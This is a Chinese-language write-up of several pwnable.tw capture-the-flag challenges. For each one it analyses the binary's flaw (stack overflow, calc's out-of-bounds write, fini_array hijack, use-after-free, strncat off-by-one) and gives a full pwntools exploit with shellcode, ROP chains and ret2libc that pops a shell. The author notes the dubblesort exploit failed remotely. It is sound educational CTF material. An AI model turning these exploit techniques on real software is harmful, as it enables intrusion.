pwnable.tw

持续更新

start

检查一下保护 和查看每个段的权限发现,栈上有可执行权限

lhj@lhj-virtual-machine:~/Desktop/pwntw/start$ checksec start
[*] '/home/lhj/Desktop/pwntw/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/lhj/Desktop/pwntw/start/start
0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

查看了下题目逻辑,有一个输出一个输入,执行完输入后,add 0x14使得esp到 0x804809d(exit),然后ret执行 (exit)结束程序。可以发现输入大小是0x3c,是能覆盖返回地址的。如果能把栈的地址泄露出来的话,就能往栈上写shellcode,然后ret到shellcode那

Dump of assembler code for function _start:
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
=> 0x0804809c <+60>:    ret

会发现执行到ret的时候 stack上有一个栈相关的地址,可以通过栈溢出覆盖返回地址调用 write来把esp打印出来泄露这个地址,泄露完后刚刚好又能再read一次,第二次read就写shellcode,然后把返回地址修改成shellcode的起始地址(用泄露出来的地址,gdb去查看这个地址和shellcode的偏移来算shellcode的地址),第二次read esp到返回地址之间的距离太短了,所以在返回地址后边写shellcode。shellcode的地址 = leak_addr + 0x14(esp距离返回地址的偏移)

0x08048087 <+39>:    mov    ecx,esp
0x08048089 <+41>:    mov    dl,0x14
0x0804808b <+43>:    mov    bl,0x1
0x0804808d <+45>:    mov    al,0x4
0x0804808f <+47>:    int    0x80
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./start')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

# g(p)

payload = b'a' * 0x14 + p32(0x08048087)
sa("Let's start the CTF:",payload)

leak_rsp = u32(p.recv(4))
success(hex(leak_rsp))

shellcode = asm('''
push %s
push %s
push esp
pop ebx
xor ecx,ecx
xor edx,edx
push 0xb
pop eax
int 0x80
''' % (u32('/sh\0') , u32('/bin')))

# g(p)
payload = b'a' * 0x14 + p32(leak_rsp + 0x14) + shellcode
s(payload)

p.interactive()

orw

程序逻辑是,输入 0xC8 个字节的数据,然后call这个数据

; Attributes: bp-based frame fuzzy-sp

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

var_4= dword ptr -4
argc= dword ptr  8
argv= dword ptr  0Ch
envp= dword ptr  10h

; __unwind {
lea     ecx, [esp+4]
and     esp, 0FFFFFFF0h
push    dword ptr [ecx-4]
push    ebp
mov     ebp, esp
push    ecx
sub     esp, 4
call    orw_seccomp
sub     esp, 0Ch
push    offset format   ; "Give my your shellcode:"
call    _printf
add     esp, 10h
sub     esp, 4
push    0C8h            ; nbytes
push    offset shellcode ; buf
push    0               ; fd
call    _read
add     esp, 10h
mov     eax, offset shellcode
call    eax ; shellcode
mov     eax, 0
mov     ecx, [ebp+var_4]
leave
lea     esp, [ecx-4]
retn
; } // starts at 8048548
main endp

输入前有一个沙箱,可以通过orw(open read write)把flag读出来,不过这里 如果 A 为 64位的话,似乎也能绕过沙箱,好像可以通过retn去修改段寄存器的某个数据来切换处理器的运行模式,不过我是直接用shellcraft来生成orw把flag读出来的

lhj@lhj-virtual-machine:~/Desktop/pwntw/orw$ seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

exp

from pwn import *
# from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./orw')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10001
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

def orw_i386():
    shellcode = shellcraft.open('/home/orw/flag')
    shellcode += shellcraft.read('eax','esp',0x30)
    shellcode += shellcraft.write(1,'esp',0x30)
    return asm(shellcode)


def orw_cat_i386():
    shellcode = shellcraft.i386.linux.cat2('/home/orw/flag')
    return asm(shellcode)

shellcode = orw_cat_i386()
print(len(shellcode))

# g(p)
s(shellcode)

p.interactive()

calc

先分析一下程序的功能,get_expr是输入(最多位1024字节的数据),parse_expr会把输入的表达式计算出来,最后打印结果。bzero和init_pool这两个函数不太重要,只是初始化的函数

unsigned int calc()
{
  int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
  char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int v3; // [esp+5ACh] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(s, 0x400u);
    if ( !get_expr(s, 1024) )
      break;
    init_pool(pool);
    if ( parse_expr((int)s, pool) )
    {
      printf("%d\n", pool[pool[0]]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v3;
}

这里对输入有一些字符限制,满足约束才能把数据读进去

int __cdecl get_expr(int a1, int a2)
{
  int v2; // eax
  char v4; // [esp+1Bh] [ebp-Dh] BYREF
  int v5; // [esp+1Ch] [ebp-Ch]

  v5 = 0;
  while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != 10 )
  {
    if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 )
    {
      v2 = v5++;
      *(_BYTE *)(a1 + v2) = v4;
    }
  }
  *(_BYTE *)(v5 + a1) = 0;
  return v5;
}
[37, 42, 43, 45, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57]
%*+-/0123456789

parse_expr中,会通过查找运算符位置的方式,来划分表达式中的操作数 运算符,分别存储到两个数组中,最后丢到eval里计算结果

满足约束的运算符的ascii是 < 48的,这里做了一个无符号的类型转换 负数转u32_int的值是 > 9的,所以这段代码作用是 判断是否是一个运算符(第一次看感觉很奇怪)

(unsigned int)(*(char *)(i + inputString) - 48) > 9 )
int __cdecl parse_expr(int inputString, _DWORD *pool)
{
  int v3; // eax
  int v4; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v6; // [esp+28h] [ebp-80h]
  int v7; // [esp+2Ch] [ebp-7Ch]
  char *s1; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char operator[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  v4 = inputString;
  v6 = 0;
  bzero(operator, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + inputString) - 48) > 9 )
    {
      v7 = i + inputString - v4;
      s1 = (char *)malloc(v7 + 1);
      memcpy(s1, v4, v7);
      s1[v7] = 0;
      if ( !strcmp(s1, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(s1);
      if ( v9 > 0 )
      {
        v3 = (*pool)++;
        pool[v3 + 1] = v9;
      }
      if ( *(_BYTE *)(i + inputString) && (unsigned int)(*(char *)(i + 1 + inputString) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v4 = i + 1 + inputString;
      if ( operator[v6] )
      {
        switch ( *(_BYTE *)(i + inputString) )
        {
          case '%':
          case '*':
          case '/':
            if ( operator[v6] != 43 && operator[v6] != 45 )
              goto LABEL_14;
            operator[++v6] = *(_BYTE *)(i + inputString);
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, operator[v6]);
            operator[v6] = *(_BYTE *)(i + inputString);
            break;
          default:
            eval(pool, operator[v6--]);
            break;
        }
      }
      else
      {
        operator[v6] = *(_BYTE *)(i + inputString);
      }
      if ( !*(_BYTE *)(i + inputString) )
        break;
    }
  }
  while ( v6 >= 0 )
    eval(pool, operator[v6--]);
  return 1;
}

漏洞点出来eval函数中,从这里可以发现 pool[0]是存储pool中有多少个操作数,通过pool[0] 计算下标取两个操作数的位置,还有计算结果存放的位置。

如果表达式为 + 10的话,这个表达式会变成 pool[1 - 1] += pool[1],也就是能覆盖pool[0]。由于eval计算表达式是通过pool[0]来计算存储结果的位置,也就是说能控制pool[0] 就能往任意地址写入 表达式的结果,实现一个任意地址值写

pool[*pool - 1] += pool[*pool];
_DWORD *__cdecl eval(_DWORD *pool, char a2)
{
  _DWORD *result; // eax

  if ( a2 == 43 )
  {
    pool[*pool - 1] += pool[*pool];
  }
  else if ( a2 > 43 )
  {
    if ( a2 == 45 )
    {
      pool[*pool - 1] -= pool[*pool];
    }
    else if ( a2 == 47 )
    {
      pool[*pool - 1] /= (int)pool[*pool];
    }
  }
  else if ( a2 == 42 )
  {
    pool[*pool - 1] *= pool[*pool];
  }
  result = pool;
  --*pool;
  return result;
}

除了任意地址写外,printf这里是通过 pool作为基地址,偏移pool[0]来取数据打印的,这意味着这里能泄露任意地址

if ( parse_expr((int)s, pool) )
{
  printf("%d\n", pool[pool[0]]);
  fflush(stdout);
}

利用思路是,通过ropgadget生成一个rop链,往返回地址写这个rop链,先泄露要写的位置的数据,然后通过sub和add清空这个位置的数据,最后把rop链 add上去。

这个pool距离 rbp的位置是 0x5a0个字节,32位程序返回地址在rbp + 4上。pool是int32类型的,所以偏移为 (0x5a0 + 4) / 4 = 361

int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./calc')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10100
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


from struct import pack

payload = b''
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec060) # @ .data
payload += pack('<I', 0x0805c34b) # pop eax ; ret
payload += b'/bin'
payload += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec064) # @ .data + 4
payload += pack('<I', 0x0805c34b) # pop eax ; ret
payload += b'//sh'
payload += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec068) # @ .data + 8
payload += pack('<I', 0x080550d0) # xor eax, eax ; ret
payload += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080481d1) # pop ebx ; ret
payload += pack('<I', 0x080ec060) # @ .data
payload += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
payload += pack('<I', 0x080ec068) # @ .data + 8
payload += pack('<I', 0x080ec060) # padding without overwrite ebx
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec068) # @ .data + 8
payload += pack('<I', 0x080550d0) # xor eax, eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x08049a21) # int 0x80


r()
for i in range(361, 361 + int(len(payload) / 4)):

	sl('+' + str(i))
	value = int(r())

	if value > 0:
		payload2 = f'+{i}-{value}+{u32(payload[(i - 361) * 4:(i - 361 + 1) * 4])}'
	else:
		payload2 = f'+{i}+{-value}+{u32(payload[(i - 361) * 4:(i - 361 + 1) * 4])}'

	sl(payload2)
	
	r()


sl('')
p.interactive()

3x17

https://wiki.mrskye.cn/Pwn/stackoverflow/fini_array%E5%8A%AB%E6%8C%81/fini_array%E5%8A%AB%E6%8C%81/#pwnabletw-3x17

程序逻辑大概是 往指定地址写一个 0x18大小的数据,但是只能写一次,程序是静态链接的,写不了got,也不能泄露一个栈相关的地址写返回地址来控制程序执行流。后面查询了一下发现,可以通过写fini_array来控制程序执行流,来无限次写,然后再写 syscall版本的rop链,最后栈迁移过去执行syscall

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./3x17')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10105
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



def write_data(addr,data):
    r()
    s(str(addr))
    r()
    s(data)

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
rsp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016

rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A

def write(addr,data):
    p.recv()
    p.send(str(addr))
    p.recv()
    p.send(data)

write(fini_array,p64(libc_csu_fini) + p64(main_addr))

write(bin_sh_addr,"/bin/sh\x00")
write(rsp,p64(rop_pop_rax))
write(rsp+8,p64(0x3b))
write(rsp+16,p64(rop_pop_rdi))
write(rsp+24,p64(bin_sh_addr))
write(rsp+32,p64(rop_pop_rdx))
write(rsp+40,p64(0))
write(rsp+48,p64(rop_pop_rsi))
write(rsp+56,p64(0))
write(rsp+64,p64(rop_syscall))
write(fini_array,p64(leave_ret) + p64(ret))

p.interactive()

dubblesort

程序的逻辑是这样的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  _BYTE *v4; // edi
  unsigned int i; // esi
  unsigned int j; // esi
  int result; // eax
  unsigned int v8; // [esp+18h] [ebp-74h] BYREF
  _BYTE v9[32]; // [esp+1Ch] [ebp-70h] BYREF
  char buf[64]; // [esp+3Ch] [ebp-50h] BYREF
  unsigned int v11; // [esp+7Ch] [ebp-10h]

  v11 = __readgsdword(0x14u);
  sub_8B5();
  __printf_chk(1, "What your name :");
  read(0, buf, 0x40u);
  __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
  __isoc99_scanf("%u", &v8);
  v3 = v8;
  if ( v8 )
  {
    v4 = v9;
    for ( i = 0; i < v8; ++i )
    {
      __printf_chk(1, "Enter the %d number : ");
      fflush(stdout);
      __isoc99_scanf("%u", v4);
      v3 = v8;
      v4 += 4;
    }
  }
  sub_931(v9, v3);
  puts("Result :");
  if ( v8 )
  {
    for ( j = 0; j < v8; ++j )
      __printf_chk(1, "%u ");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v11 )
    sub_BA0();
  return result;
}

漏洞点有两个位置,第一个是 printf (….”%s”) ,这里的pritnf使用了 %s,能够利用这类泄露栈上的数据

__printf_chk(1, "Hello %s,How many numbers do you what to sort :");

第二个位置是这里,v8可控,可以通过这里去覆盖返回地址,往后边写rop链,注意有一个canary。原本的思路是 printf %s 这里泄露canary,然后带上canary打ret2libc,后面发现scanf 如果输入一个和期待字符类型不同的字符,就不会写入。所以printf %s直接去泄露libc的地址,然后算出 binsh和system的地址,最后覆盖返回地址 传参就好了。有些奇怪远程打不通,第一次leak 的时候 也leak不出来

__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
  v4 = v9;
  for ( i = 0; i < v8; ++i )
  {
    __printf_chk(1, "Enter the %d number : ");
    fflush(stdout);
    __isoc99_scanf("%u", v4);
    v3 = v8;
    v4 += 4;
  }
}
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./dubblesort')
libc = ELF('libc_32.so.6')

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10101
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

s("a" * (0x18 + 1))
leak_addr = u32(ru(b'\xf7')[-4:]) & 0xffffff00
libc_base = leak_addr - 0x1b0000
system_addr = libc_base + libc.sym['system']  
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))  

success(f'libc_base ->{hex(libc_base)}')  
success(f'system_add ->{hex(system_addr)}')  


sla(b'sort :', str('35').encode())  

for i in range(24):  
    sla(b'number :', b'0')  

sla(b'number :', b'+')  

for i in range(7):  
    sla(b'number :', str(system_addr).encode())

sla(b'number :', str(system_addr).encode())
sla(b'number :', str(system_addr).encode())  
sla(b'number :', str(binsh_addr).encode())  


p.interactive()

hacknote

存在uaf,可以通过控制size的大小,从fastbin里面拿到一个堆块,往里面写函数指针,通过printf note 实现任意函数调用打ret2libc

from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./hacknote')
libc = ELF('./libc_32.so.6')

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10102
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



def add_note(size,content):
	sla('Your choice :','1')
	sla('Note size :',str(size))
	sa('Content :',content)

def delete_note(index):
	sla('Your choice :','2')
	sla('Index :',str(index))

def print_note(index):
	sla('Your choice :','3')
	sla('Index :',str(index))


add_note(0x50,'aaaa')
add_note(0x50,'bbbb')

delete_note(1)
delete_note(0)

puts = 0x804862b
read_got = elf.got['read']
payload = p32(puts)+p32(read_got)
add_note(8,payload)
print_note(1)

libc_base = u32(p.recv(4)) - libc.sym['read']
system = libc_base + libc.sym['system']

delete_note(2)
payload = p32(system) + b';sh\0'
add_note(8,payload)

print_note(1)


p.interactive()

silver_bullet

漏洞出在power_up函数中的strncat ,strncat的作用是将一个字符串复制n个字节到另一个字符串的末尾,并添加\x00,添加\x00这一步刚刚好可以覆盖dest + 12中存放的字符串长度信息,再次调用power_up的时候会产生溢出,可以覆盖main函数的返回地址,打ret2libc。

通过puts_plt(puts_got)的方式泄露一个libc的地址拿到binsh 和system,然后system(binsh)

int __cdecl power_up(char *dest)
{
  char s[48]; // [esp+0h] [ebp-34h] BYREF
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(s, 0, sizeof(s));
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 0x2Fu )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(s, 48 - *((_DWORD *)dest + 12));
  strncat(dest, s, 48 - *((_DWORD *)dest + 12));
  v3 = strlen(s) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", v3);
  *((_DWORD *)dest + 12) = v3;
  return puts("Enjoy it !");
}

exp

from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./silver_bullet')
libc = ELF('./libc_32.so.6')

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10103
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


def create_silver_bullet(data):
    sla("Your choice :","1")
    sla("Give me your description of bullet :",data)

def power_up(data):
    sla("Your choice :","2")
    sla('Give me your another description of bullet :',data)

def beat():
    sla("Your choice :","3")

main = 0x8048954
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

create_silver_bullet(b'a' * 47)
power_up(b'a')

payload = b'\xff' * 7 + p32(puts_plt) + p32(main) + p32(puts_got)
power_up(payload)

beat()

ru("Oh ! You win !!\n")
leak_puts_addr = u32(ru(b'\xf7')[-4:])
libc_base = leak_puts_addr - libc.sym['puts']
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))

create_silver_bullet(b'a' * 47)
power_up(b'a')

payload = b'\xff' * 7 + p32(system) + p32(main) + p32(binsh)
power_up(payload)

beat()

p.interactive()
⬆︎TOP